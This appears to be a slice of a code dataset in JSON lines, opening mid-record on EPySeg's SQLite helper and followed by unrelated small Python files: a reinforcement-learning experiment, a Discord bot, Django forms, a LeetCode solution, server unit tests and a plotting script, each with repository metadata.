sqlite3.Warning: You can only execute one statement at a time. -> see how I can concatenate the stuff\n        # maybe just return the last data --> does make sense in fact\n        # --> split the command and execute it\n        print('test multi', db.run_SQL_command_and_get_results('SELECT * FROM test;'\n                                                               'SELECT \"aaa\" FROM test;'))  # bug\n\n        print('get col', db.get_column('test', 'aaa'), type(db.get_column('test', 'aaa')[\n                                                                0]))  # --> the type is correct --> so in theory no need for casting but maybe if wrong type then it is needed\n\n        # can use the stuff\n        # can use the table headers TODO plots --> in fact that would be easy TODO I think\n        # --> can easily add anything as a graph if I need it\n        # add an edit for the images at the very end in the preview --> see how I can do that --> would be good if cell divisions and death could be edited there --> but need keep the cell relationship --> in fact easy just delete the table\n\n        # print type\n\n        # can do automatic plots for all\n        # and maybe also offer color coding for all # --> either local or global --> in fact all is easy todo with my tool now!!!\n\n        # for some columns the plots should be specific for others\n\n        db.add_column('test', 'uuu', default_value=None)\n        print(db.get_table_column_names_and_types('test'))\n\n        db.get_min_max('test', 'aaa')\n\n        db.clean()\n\n        db.close()\n\n        # try create a table\n        # maybe also need typing of the data --> try\n\n        import sys\n        sys.exit(0)\n\n    if False:\n        values = ['10', 20, 30, None, '10.2', '0.1', '0', 5]\n        convert_digit_to_number = True\n        if convert_digit_to_number:\n            non_str = [val for val in values if not isinstance(val, str)]\n            st = [val for val in values if isinstance(val, str)]\n            st = [float(val) for val in st if val.isdigit()]  # ok but it does change the order --> should I care\n\n            # could convert to None all the data that cannot be processed!!!\n\n            print(values)\n            print(non_str)\n            print(st)\n\n            # non_str2 = [val if not isinstance(val, str) else float(val) if val.isdigit() for val in values]\n            # do it all manually cause too complex with list comprehension\n            # a way of converting str to int\n            for iii, v in enumerate(values):\n                if isinstance(v, str):\n                    # if v.isdigit():\n                    #     values[iii]=float(v)\n                    # else:\n                    #     values[iii] = None\n                    # this one is better as it should keep the type\n                    if '.' in v:\n                        try:\n                            values[iii] = float(v)\n                        except ValueError:\n                            values[iii] = None\n                    else:\n                        try:\n                            values[iii] = int(v)\n                        except ValueError:\n                            values[iii] = None\n\n            print(values)\n\n    # pbs will occur when files are deleted in preview --> prevent delete button from working\n    # TODO populate the other based on that\n    # concat table name to the column name\n    # assume everything can be plotted directly except a few columns that I would name and plot differently --> TODO\n    # add correspondance local cell id and track ID to the database\n    if True:\n        # nb some images have different nb of cols --> does not fit...\n        # masterDB = createMasterDB(['/E/Sample_images/sample_images_PA/trash_test_mem/mini/focused_Series012.png','/E/Sample_images/sample_images_PA/trash_test_mem/mini/focused_Series014.png','/E/Sample_images/sample_images_PA/trash_test_mem/mini/focused_Series015.png','/E/Sample_images/sample_images_PA/trash_test_mem/mini/focused_Series016.png'])\n        # masterDB = createMasterDB(\n        #     ['/E/Sample_images/sample_images_PA/trash_test_mem/mini_different_nb_of_channels/focused_Series012.png',\n        #      '/E/Sample_images/sample_images_PA/trash_test_mem/mini_different_nb_of_channels/focused_Series014.png',\n        #      '/E/Sample_images/sample_images_PA/trash_test_mem/mini_different_nb_of_channels/focused_Series015.png',\n        #      '/E/Sample_images/sample_images_PA/trash_test_mem/mini_different_nb_of_channels/focused_Series016.png',\n        #      '/E/Sample_images/sample_images_PA/trash_test_mem/mini_different_nb_of_channels/focused_Series019.tif'])\n\n        # masterDB = createMasterDB(loadlist('/E/Sample_images/sample_images_PA/trash_test_mem/mini_different_nb_of_channels/list.lst'))\n\n\n        outputName = None\n        # outputName = '/E/Sample_images/sample_images_pyta/surface_projection/masterDB.db'\n        masterDB = createMasterDB(loadlist('/E/Sample_images/sample_images_pyta/surface_projection/list.lst'), outputName=outputName, force_track_cells_db_update=True)\n\n\n        if masterDB is not None:\n            # masterDB = createMasterDB(['/E/Sample_images/sample_images_PA/trash_test_mem/mini/focused_Series012.png','/E/Sample_images/sample_images_PA/trash_test_mem/mini/focused_Series012.png','/E/Sample_images/sample_images_PA/trash_test_mem/mini/focused_Series012.png','/E/Sample_images/sample_images_PA/trash_test_mem/mini/focused_Series012.png'])\n            print(masterDB.get_tables())  # why None\n            # print(masterDB.run_SQL_command_and_get_results('SELECT * FROM cells_2D;')) # that seems to work\n            # print(masterDB.get_min_max(table_name, 'area'))\n            # print(masterDB.get_min_max(table_name, 'area', freq=[0.15,0.05])) # 0.1 --> est ce que ce sont des pourcentages ??? --> dois-je changer ma conversion --> sinon 10% --> may  be a lot in fact --> ij fact ok\n            # print(masterDB.get_table_column_names_and_types('bonds_2D'))\n\n            # print(masterDB.print_query('SELECT * FROM vertices_2D;'))\n            # print(masterDB.print_query('SELECT * FROM cells_2D;'))\n            # print(masterDB.print_query('SELECT frame_nb, filename, local_ID, cytoplasmic_area, area FROM cells_2D;'))\n            # print(masterDB.print_query('SELECT frame_nb, filename, local_ID, sum_px_int_vertices_included_ch1, sum_px_int_vertices_included_ch3 FROM bonds_2D;')) # amyebe there is a bug in the db --> really need fix it, it should contain None and it does not --> I am doing a mistake --> fix it!!!\n            # print(masterDB.get_table_column_names_and_types('cells_2D'))\n            # print(masterDB.get_table_column_names_and_types('bonds_2D')) #\n\n            # print(masterDB.print_query('SELECT * FROM cells_2D NATURAL JOIN properties LIMIT 1'))\n\n\n            # masterDB.drop_table('properties')\n            # surprising that seems to work --> what if 0 DB inside\n            # print(masterDB.print_query('SELECT * FROM cells_2D NATURAL JOIN properties'))  # ça a l'air de marcher mais va t'il y avoir des bugs ??? sinon facile à gerer je pense\n\n            # how to make it work if the table does not exist at all --> did I take this into account --> # can I null it everywhere ????\n\n            # print(masterDB.print_query('SELECT * FROM cell_tracks NATURAL JOIN properties'))\n            # print(masterDB.print_query('SELECT * FROM cell_tracks'))\n            print(masterDB.print_query('SELECT * FROM cells_2D NATURAL JOIN cells_3D NATURAL JOIN cell_tracks NATURAL JOIN properties'))  # ça a l'air de marcher mais va t'il y avoir des bugs ??? sinon facile à gerer je pense\n\n\n            # print(masterDB.print_query('SELECT * FROM cells_2D NATURAL JOIN properties')) # ça a l'air de marcher mais va t'il y avoir des bugs ??? sinon facile à gerer je pense\n\n            print(masterDB.get_min_max('bonds_2D', 'sum_px_int_vertices_included_ch1'))  # see how to exclude None values\n            print(masterDB.get_min_max('bonds_2D', 'sum_px_int_vertices_included_ch1',\n                                       ignore_None_and_string=False))  # see how to exclude None values\n            print(masterDB.get_min_max('bonds_2D', 'sum_px_int_vertices_included_ch1', freq=[0.01, 0.01],\n                                       ignore_None_and_string=False))  # see how to exclude None values\n            print(masterDB.get_min_max('bonds_2D', 'sum_px_int_vertices_included_ch1', freq=[0.3, 0.01],\n                                       ignore_None_and_string=False))  # see how to exclude None values\n            print(masterDB.get_min_max('bonds_2D', 'sum_px_int_vertices_included_ch1', freq=[0.01, 0.01],\n                                       ignore_None_and_string=True))  # see how to exclude None values\n            # any way to print this ???\n\n\n            # can I save an in mem table --> No\n\n            masterDB.close()\n\n    if True:\n        sql_file = '/E/Sample_images/sample_images_PA/trash_test_mem/mini/focused_Series012/pyTA.db'\n\n        print(populate_table_content(sql_file))\n\n        table_name = 'cells_2D'\n\n        db = TAsql(sql_file)  # maybe if file is none --> store in mem ???\n        db.get_min_max(table_name, 'area')\n        db.get_min_max(table_name, 'area', freq=[0.1, 0.1])\n        print(db.get_table_column_names_and_types(table_name))  # what if two cols have same name ???\n        db.clean()\n        db.close()\n", "repo_name": "baigouy/EPySeg", "sub_path": "epyseg/ta/database/sql.py", "file_name": "sql.py", "file_ext": "py", "file_size_in_byte": 84914, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "78", "api": [{"api_name": "epyseg.tools.logger.TA_logger", "line_number": 20, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 86, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 94, "usage_type": "call"}, {"api_name": "epyseg.SQLite_tools.tools.SQLite_tools.tools.get_table_columns", "line_number": 111, "usage_type": "call"}, {"api_name": "epyseg.SQLite_tools.tools.SQLite_tools", "line_number": 111, "usage_type": "attribute"}, {"api_name": "epyseg.SQLite_tools.tools", "line_number": 111, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 138, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 139, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 154, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 162, "usage_type": "call"}, {"api_name": "epyseg.img._create_dir", "line_number": 184, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 187, "usage_type": "call"}, {"api_name": "epyseg.ta.database.sql.TAsql", "line_number": 245, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 249, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 256, "usage_type": "call"}, {"api_name": "epyseg.ta.database.sql.TAsql", "line_number": 278, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 281, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 288, "usage_type": "call"}, {"api_name": "epyseg.ta.database.sql.TAsql", "line_number": 311, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 318, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 320, "usage_type": "call"}, {"api_name": "pandas.ExcelWriter", "line_number": 321, "usage_type": "call"}, {"api_name": "pandas.read_sql_query", "line_number": 323, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 328, "usage_type": "call"}, {"api_name": "sqlite3.Connection", "line_number": 346, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 352, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 355, "usage_type": "call"}, {"api_name": "os.path", "line_number": 355, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 356, "usage_type": "call"}, {"api_name": "os.path", "line_number": 356, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 357, "usage_type": "call"}, {"api_name": "os.path", "line_number": 357, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 359, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 360, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 377, "usage_type": "attribute"}, {"api_name": "math.atan2", "line_number": 378, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 379, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 460, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 463, "usage_type": "attribute"}, {"api_name": "pandas.read_sql_query", "line_number": 528, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 642, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 709, "usage_type": "call"}, {"api_name": "prettytable.PrettyTable", "line_number": 896, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 976, "usage_type": "call"}, {"api_name": "epyseg.ta.selections.selection.convert_coords_to_IDs", "line_number": 978, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 1074, "usage_type": "call"}, {"api_name": "epyseg.img.Img", "line_number": 1124, "usage_type": "call"}, {"api_name": "epyseg.img.has_metadata", "line_number": 1125, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1126, "usage_type": "attribute"}, {"api_name": "traceback.print_exc", "line_number": 1177, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 1186, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 1280, "usage_type": "attribute"}, {"api_name": "numpy.uint64", "line_number": 1280, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 1281, "usage_type": "attribute"}, {"api_name": "numpy.uint32", "line_number": 1281, "usage_type": "attribute"}, {"api_name": "numpy.int8", "line_number": 1282, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 1282, "usage_type": "attribute"}, {"api_name": "epyseg.img.Img", "line_number": 1284, "usage_type": "argument"}, {"api_name": "numpy.ndarray", "line_number": 1286, "usage_type": "attribute"}, {"api_name": "epyseg.ta.tracking.tools.smart_name_parser", "line_number": 1392, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 1426, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 1483, "usage_type": "call"}, {"api_name": "epyseg.utils.loadlist.smart_TA_list", "line_number": 1488, "usage_type": "call"}, {"api_name": "epyseg.tools.early_stopper_class.early_stop.stop", "line_number": 1498, "usage_type": "attribute"}, {"api_name": "epyseg.tools.early_stopper_class.early_stop", "line_number": 1498, "usage_type": "name"}, {"api_name": "epyseg.ta.tracking.tools.smart_name_parser", "line_number": 1585, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 1596, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 1604, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 1656, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 1664, "usage_type": "call"}, {"api_name": "epyseg.utils.loadlist.smart_TA_list", "line_number": 1719, "usage_type": "call"}, {"api_name": "epyseg.utils.loadlist.smart_TA_list", "line_number": 1762, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 1801, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1801, "usage_type": "attribute"}, {"api_name": "traceback.print_exc", "line_number": 1826, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1845, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 1848, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 1855, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 1864, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 1871, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 1887, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 1897, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 1903, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 1922, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 2007, "usage_type": "call"}, {"api_name": "epyseg.utils.loadlist.loadlist", "line_number": 2066, "usage_type": "call"}]}
{"seq_id": "20413860640", "text": "import torch\nimport gym\nimport numpy as np\nimport modules.Agents.Networks as nets\nimport modules.Agents.EpisodicMemory as Memory\nfrom modules.Agents import Agent\nfrom modules.Experiments import gridworldExperiment as expt\nimport matplotlib.pyplot as plt\n\n# set up parameters\nenv_name   = 'gridworld:gridworld-v1' #v1 novel #v11 moved reward\nnetwork_id = None # '97b5f281-a60e-4738-895d-191a04edddd6'\nactor      = 'EC'\nntrials    = 5000\n\n\n# create environment\nenv = gym.make(env_name)\nplt.close()\n\n# generate network\nif network_id == None:\n    # generate parameters for network from environment observation shape\n    params = nets.fc_params(env)\n    network = nets.ActorCritic(params)\nelse:\n    network = torch.load(f'./Data/agents/load_agents/{network_id}.pt')\n\nmemory = Memory.EpisodicMemory(cache_limit=400, entry_size=env.action_space.n)\n\nagent = Agent(network, memory=memory)\n\nif actor == 'MF':\n    agent.get_action = agent.MF_action\nelif actor == 'EC':\n    agent.get_action = agent.EC_action\n\nrun = expt(agent, env)\nrun.run(NUM_TRIALS=ntrials, NUM_EVENTS=250)\nrun.record_log(f'{actor}', env_name, n_trials=ntrials)\n\n\n", "repo_name": "annikc/MEMRL", "sub_path": "basic/Tests/CH3/bootstrap_test/standard_MFEC.py", "file_name": "standard_MFEC.py", "file_ext": "py", "file_size_in_byte": 1122, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "gym.make", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "modules.Agents.Networks.fc_params", "line_number": 24, "usage_type": "call"}, {"api_name": "modules.Agents.Networks", "line_number": 24, "usage_type": "name"}, {"api_name": "modules.Agents.Networks.ActorCritic", "line_number": 25, "usage_type": "call"}, {"api_name": "modules.Agents.Networks", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 27, "usage_type": "call"}, {"api_name": "modules.Agents.EpisodicMemory.EpisodicMemory", "line_number": 29, "usage_type": "call"}, {"api_name": "modules.Agents.EpisodicMemory", "line_number": 29, "usage_type": "name"}, {"api_name": "modules.Agents.Agent", "line_number": 31, "usage_type": "call"}, {"api_name": "modules.Experiments.gridworldExperiment", "line_number": 38, "usage_type": "call"}]}
{"seq_id": "1617068775", "text": "import discord\n\nclient = discord.Client(intents=discord.Intents.all())\n\n@client.event\nasync def on_ready():\n    print(f'Logado com sucesso como {client.user}')\n\n@client.event\nasync def on_message(message):\n    if message.author == client.user:\n        return\n\n    if message.content.lower().startswith('!oi'):\n        await message.channel.send(f'Oii {message.author.mention}!')\n\nclient.run('COLE SEU TOKEN AQUI DENTRO, NÃO REMOVA AS ASPAS SIMPLES')\n", "repo_name": "NatasFX/minicurso_bots_discord", "sub_path": "Aula1/bot-aula1.py", "file_name": "bot-aula1.py", "file_ext": "py", "file_size_in_byte": 451, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "discord.Client", "line_number": 3, "usage_type": "call"}, {"api_name": "discord.Intents.all", "line_number": 3, "usage_type": "call"}, {"api_name": "discord.Intents", "line_number": 3, "usage_type": "attribute"}]}
{"seq_id": "72921012744", "text": "from django import forms\nfrom django.forms import modelformset_factory\n\n\nfrom courses.models import *\n\n\n\n\nclass CourseModelForm(forms.ModelForm):\n\n    def __init__(self, *args, **kwargs):\n        forms.ModelForm.__init__(self, *args, **kwargs)\n        self.fields['title'].label = \"Course Title :\"\n        self.fields['price'].label = \"Course Price :\"\n        self.fields['offer_price'].label = \"Discount Price* :\"\n        self.fields['description'].label = \"Course Description :\"\n        # self.fields['tags'].label = \"Tags :\"\n\n        self.fields['title'].widget.attrs.update(\n            {\n                'placeholder': 'Course Title',\n            }\n        )\n\n        self.fields['description'].widget.attrs.update(\n            {\n                'placeholder': 'Course Description',\n            }\n        )\n\n        self.fields['price'].widget.attrs.update(\n            {\n                'placeholder': 'Leave Blank You If Free ',\n            }\n        ) \n        self.fields['offer_price'].widget.attrs.update(\n            {\n                'placeholder': 'Offer Price If you Have',\n            }\n        )\n\n\n    class Meta:\n        model = Course\n        fields = [\n            'title',\n            'description',\n            'price',\n            'offer_price',\n            'thumbnail',\n            'category'\n\n        ]\n\n    def clean_category(self):\n        category = self.cleaned_data.get('category')\n\n        if not category:\n            raise forms.ValidationError(\"Category is required\")\n        return category\n\n    def clean_thumbnail(self):\n        thumbnail = self.cleaned_data.get('thumbnail')\n\n        if not thumbnail:\n            raise forms.ValidationError(\"Thumbnail is required\")\n        return thumbnail\n\n    def save(self, commit=True):\n        course = super(CourseModelForm, self).save(commit=False)\n        if commit:\n            course.save()\n        return course\n\n\nLessonFormset = modelformset_factory(\n    Lesson,\n    fields=('curriculum_title', ),\n    extra=1,\n    widgets={\n        'curriculum_title': forms.TextInput(\n            attrs={\n                'class': 'form-control',\n                'placeholder': 'Enter Lesson Title Here',\n                'required': 'required'\n            }\n        )\n    }\n\n)\nLessonContentFormset = modelformset_factory(\n    LessonContent,\n    fields=('title', 'video_link', 'text_content'),\n    extra=1,\n    widgets={\n        'title': forms.TextInput(\n            attrs={\n                'class': 'form-control',\n                'placeholder': 'Enter Video title here',\n                'required': 'required'\n\n            }\n        ),\n        'video_link': forms.TextInput(\n            attrs={\n                'class': 'form-control lesson-video',\n                'placeholder': 'Enter Video Link here',\n                # 'required': 'required'\n\n            }\n        ),        \n        'text_content': forms.TextInput(\n            attrs={\n                'style': 'display: none',\n                'class': 'form-control lesson-text',\n                'placeholder': 'Enter Text Content here',\n                # 'required': 'required'\n            }\n        )\n    }\n)\n", "repo_name": "Sany07/EdTech-Platform-Django-SSlcommerz", "sub_path": "courses/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 3137, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.forms.ModelForm", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 10, "usage_type": "name"}, {"api_name": "django.forms.ModelForm.__init__", "line_number": 13, "usage_type": "call"}, {"api_name": "django.forms.ModelForm", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 13, "usage_type": "name"}, {"api_name": "django.forms.ValidationError", "line_number": 60, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 60, "usage_type": "name"}, {"api_name": "django.forms.ValidationError", "line_number": 67, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 67, "usage_type": "name"}, {"api_name": "django.forms.modelformset_factory", "line_number": 77, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 82, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 82, "usage_type": "name"}, {"api_name": "django.forms.modelformset_factory", "line_number": 92, "usage_type": "call"}, {"api_name": "django.forms.TextInput", "line_number": 97, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 97, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 105, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 105, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 113, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 113, "usage_type": "name"}]}
{"seq_id": "32933077608", "text": "from typing import List\nclass Solution:\n    def dailyTemperatures(self, T: List[int]) -> List[int]:\n        stack = []\n        rst = [0 for _ in range(len(T))]\n        for i in range(len(T)):\n            while len(stack) != 0 and T[i] > stack[-1][1]:\n                info = stack.pop()\n                rst[info[0]] = i - info[0]\n            stack.append((i, T[i]))\n        \n        for rest in stack:\n            rst[rest[0]] = 0\n\n        return rst", "repo_name": "imzhuhl/algorithm-notes", "sub_path": "exercise/leetcode/0739/0739.py", "file_name": "0739.py", "file_ext": "py", "file_size_in_byte": 449, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.List", "line_number": 3, "usage_type": "name"}]}
{"seq_id": "41203073720", "text": "\"\"\"Тестирование серверной части программы\"\"\"\n\nimport unittest\n\n# Обеспечиваем доступность пути к корню проекта\nimport sys\nimport os\nsys.path.append(os.path.join(os.getcwd(), '..'))\n# PyCharm грубо ругается на пути и переменные, импорт но продолжает работать :)\nfrom server import prepare_response\nfrom common.variables import RESPONSE, ERROR\n\n\nclass TestPrepareResponse(unittest.TestCase):\n    \"\"\"\n    Класс для тестирования функции prepare response\n    в серверной части программы.\n    \"\"\"\n\n    right_message = {\n        'action': 'presence',\n        'time': 'Mon May 30 01:10:47 2022',\n        'user': {'account_name': 'Guest'}\n    }\n\n    wrong_message = {\n        'hello': 'world',\n        'time': '12:10:54 05/05/2022',\n        'user': {'name': 'Maksim'}\n    }\n\n    error_result = {\n        RESPONSE: 400,\n        ERROR: 'Bad Request'\n    }\n\n    def setUp(self):\n        \"\"\"Настройка тестов\"\"\"\n        pass\n\n    def tearDown(self):\n        \"\"\"Выполнить завершающие действия\"\"\"\n        print(f'\\n[+] log: Успешное завершение теста: {self.__str__()}')\n\n    def test_response_not_None(self):\n        \"\"\"\n        Проверка, что результат работы функции не None\n        \"\"\"\n        self.assertIsNotNone(\n            prepare_response(self.right_message)\n        )\n\n    def test_response_is_json(self):\n        \"\"\"\n        Проверка, что результат работы функции - словарь (json)\n        \"\"\"\n        self.assertIsInstance(\n            prepare_response(self.right_message),\n            dict\n        )\n\n    def test_with_right_message(self):\n        \"\"\"\n        Тестирование функции c правильным сообщением.\n        \"\"\"\n        self.assertEqual(\n            prepare_response(self.right_message)['response'],\n            200\n        )\n\n    def test_with_wrong_message(self):\n        \"\"\"\n        Тестирование функции с ошибочным сообщением.\n        \"\"\"\n        self.assertEqual(\n            prepare_response(self.wrong_message)['response'],\n            400\n        )\n\n    def test_return_error(self):\n        \"\"\"\n        Проверка возврата функцией ошибочного ответа\n        при получении неправильных данных\n        \"\"\"\n        self.assertEqual(\n            prepare_response(self.wrong_message),\n            self.error_result\n        )\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "repo_name": "Jenny6199/client-server_apps_python", "sub_path": "mainapp/unittest/test_server.py", "file_name": "test_server.py", "file_ext": "py", "file_size_in_byte": 2747, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.append", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 8, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 14, "usage_type": "attribute"}, {"api_name": "common.variables.RESPONSE", "line_number": 33, "usage_type": "name"}, {"api_name": "common.variables.ERROR", "line_number": 34, "usage_type": "name"}, {"api_name": "server.prepare_response", "line_number": 50, "usage_type": "call"}, {"api_name": "server.prepare_response", "line_number": 58, "usage_type": "call"}, {"api_name": "server.prepare_response", "line_number": 67, "usage_type": "call"}, {"api_name": "server.prepare_response", "line_number": 76, "usage_type": "call"}, {"api_name": "server.prepare_response", "line_number": 86, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 92, "usage_type": "call"}]}
{"seq_id": "4144140779", "text": "import floatfields as flo\nfrom matplotlib import pyplot as plt\ndef draw():\n\ta=flo.asfloats(11)\n\tb=flo.asfloats(4)\n\tc=flo.asfloats(5)\n\ty=[]\n\tfor i in range(len(a)):\n\t\tif c[i]!=0:\n\t\t\ty.append((b[i]/c[i])-a[i])\n\t\telse:\n\t\t\ty.append(0)\n\tx=range(len(a))\n\tfig = plt.figure()\n\tax=fig.add_subplot(111)\n\tax.set_ylabel(\"(field 4 / field 5) - field 11\")\n\tax.set_xlabel(\"record index\")\n\tax.plot(x,y,'k.',markersize=2.0)\n\tplt.show()\n", "repo_name": "assamite/itm_project", "sub_path": "teemu/corr.py", "file_name": "corr.py", "file_ext": "py", "file_size_in_byte": 419, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "floatfields.asfloats", "line_number": 4, "usage_type": "call"}, {"api_name": "floatfields.asfloats", "line_number": 5, "usage_type": "call"}, {"api_name": "floatfields.asfloats", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}]}
{"seq_id": "8689014308", "text": "from django import forms\r\nfrom apps.mail.models import MailTemplate\r\nfrom django.utils.translation import ugettext_lazy as _\r\n\r\nclass MailTemplateForm(forms.ModelForm):\r\n    class Meta:\r\n        model = MailTemplate\r\n        fields = ('active','key_name', 'title', 'subject', 'image','content_html', 'attachments')\r\n        labels = {\r\n            'active': _('Active'), \r\n            'key_name': _('Keyname'),\r\n            'title': _('Title'),\r\n            'subject': _('Subject'),\r\n            'image': _('Image'),\r\n            'content_html': _('Content HTML'),\r\n            'attachments': _('Attachment'),\r\n        }\r\n    \r\n    def clean(self, *args, **kwargs):\r\n        cleaned_data = super(MailTemplateForm, self).clean()\r\n\r\n        errors = {}\r\n        mailtemplate = MailTemplate.objects.filter(key_name=self.cleaned_data.get('key_name')).first()\r\n        mailtemplate_exists = False\r\n        if mailtemplate and mailtemplate.id == self.instance.id:\r\n            mailtemplate_exists = True\r\n        if self.cleaned_data.get('key_name') == '' or self.cleaned_data.get('key_name') == None or mailtemplate_exists:\r\n            errors['key_name'] = _('Please enter a unique keyname')\r\n        if self.cleaned_data.get('title') == '' or self.cleaned_data.get('title') == None:\r\n            errors['title'] = _('Please enter a title')\r\n        if errors:\r\n            raise forms.ValidationError(errors)\r\n\r\n        return self.cleaned_data\r\n", "repo_name": "KCuppens/GenesisV2", "sub_path": "apps/mail/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 1443, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.forms.ModelForm", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 5, "usage_type": "name"}, {"api_name": "apps.mail.models.MailTemplate", "line_number": 7, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 10, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 11, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 12, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 13, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 14, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 15, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 16, "usage_type": "call"}, {"api_name": "apps.mail.models.MailTemplate.objects.filter", "line_number": 23, "usage_type": "call"}, {"api_name": "apps.mail.models.MailTemplate.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "apps.mail.models.MailTemplate", "line_number": 23, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 28, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 30, "usage_type": "call"}, {"api_name": "django.forms.ValidationError", "line_number": 32, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 32, "usage_type": "name"}]}
